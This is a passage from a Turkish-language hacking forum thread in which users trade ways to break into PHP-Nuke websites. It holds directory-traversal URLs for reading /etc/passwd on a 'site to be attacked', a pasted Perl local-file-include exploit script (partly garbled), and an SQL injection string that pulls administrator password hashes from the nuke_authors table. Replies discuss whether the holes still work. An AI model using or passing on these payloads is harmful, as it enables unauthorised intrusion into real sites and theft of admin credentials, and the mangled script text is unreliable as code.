You are so cool... :D:D:D:D

way gozum saolasın

Yalnız Bir ordudur Kendi çlünde Sonsuz savaşlarında Hep yener Kendi ordusunu.

http://saldırılacaksite.com/modules. php?name=Search &file=../../../../../../ ../../../etc/passwd%00 http://saldırılacaksite.com/modules. php?name=Search& file=../Forums/viewtopic&phpEx=../../../../../../etc/pas swd ->> Kısımları deneye bilirsiniz alt dizinlerde muhakkak size verecektir. ../../../../../../etc/pas swd Alin buda exploit #!/usr/bin/perl use IO:ocket; # SecurityReason Exploit Code # by sp3x # sp3x@securityreason.com # www.securityreason.com # Remote Directory Traversal Exploit - Local file include # PHPNuke -> 7.8 full patched, 7.9 fullpatched + patch 3.1 # Server must have magic_quotes_gpc = Off - need to use %00 # Copyright © SecurityReason. All Rights Reserved. # # Example of usage : perl phpnuke-expl. pl 172.24.2.1 nukedir Search../../../etc/passwd if (@ARGV < 3) $HOST = $ARGV ; $DIR = $ARGV ."modules. php"; $MODULE = "?name=".$ARGV ."&"; $FILE = "file=".$ARGV ."%00"; $LENGTH = length $FILE; print "\r\n : ".$HOST."\n"; print " : ".$DIR."\n"; print " : ".$ARGV ."\n"; print " : ".$ARGV ."\r\n\r\n"; $HOST = s/ //; $get1 = IO:ocket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80" ) || die "Error 404\r\n\r\n"; print $get1 "GET ".$DIR.$MODULE.$FILE." HTTP/1.0\n"; print $get1 "Host: ".$HOST."\n"; print $get1 "User-Agent: Mozilla/5.0 - SecurityReason"; print $get1 "Accept: text/ xml, application/ xml, application/xhtml+ xml, text/html; q=0.9, text/ plain;q=0.8, image/png, / ;q=0.5"; print $get1 "Accept-Language: pl, en-us;q=0.7, en;q=0.3"; print $get1 "Accept-Encoding: gzip, deflate"; print $get1 "Accept-Charset: ISO-8859-2, utf-8;q=0.7, ;q=0.7"; print $get1 "Keep-Alive: 300"; print $get1 "cookie: lang=english"; print $get1 "Cache-Control: max-age=0"; print $get1 "Content-Type: application/x-www-form-urlencoded\n"; print $get1 "Content-Length: ".$LENGTH."\n\n"; print $get1 $FILE; while ($odp = <$get1>) { if ($odp = /<b>Warning<\/b>: main\ : Unable to access.\/$ARGV in <b>/ ) printf $odp; }kolay gelsin ALINTIDIR

:Bunlar kapandı arkadaşım biraz geriden geliyorsun.. ne alaka. bu açıklar hala var. mesela sql injectionla site yardım gecen hafta. ne oldu o çok eski açıktı. bi b. k olmazdı. oluyor işte. işe yarıyor...

: bildiğim kadarıyla artık yeni acık bu. verecegim kodu search kısmında aratın ok. s%')/ /UNION/ /SELECT/ /0, pwd,0, aid,0,0,0,0,0,0/ /FROM/ /nuke_authors/ sıze md5 leri verecek. dediğini yapınca anasayfaya ynlendiriyor

antioksidan'ın dediğini yaptığımda ise you are so cool dedi :)

Biraz daha açıklarsan çok iyi olur herkez senin kadar usta degil İmza mimza yok

Bunlar kapandı arkadaşım biraz geriden geliyorsun.. #Coding Sacrifice Perl FSO#

eyvallah saolasin IO::Socket;yazisi tam cikmamis derlerken sorun yaratiyo. programda iki yerde var duzeltilmesi gerekiyo. 2. ve 44. satirlarda varbi de, pwd nin yerini bulamiyorum bi turlu. onlem alinmis sanirim. u are so cool diye bi yazi cikiyo malesef...

bildiğim kadarıyla artık yeni acık bu. verecegim kodu search kısmında aratın ok. s%')/ /UNION/ /SELECT/ /0, pwd,0, aid,0,0,0,0,0,0/ /FROM/ /nuke_authors/ sıze md5 leri verecek.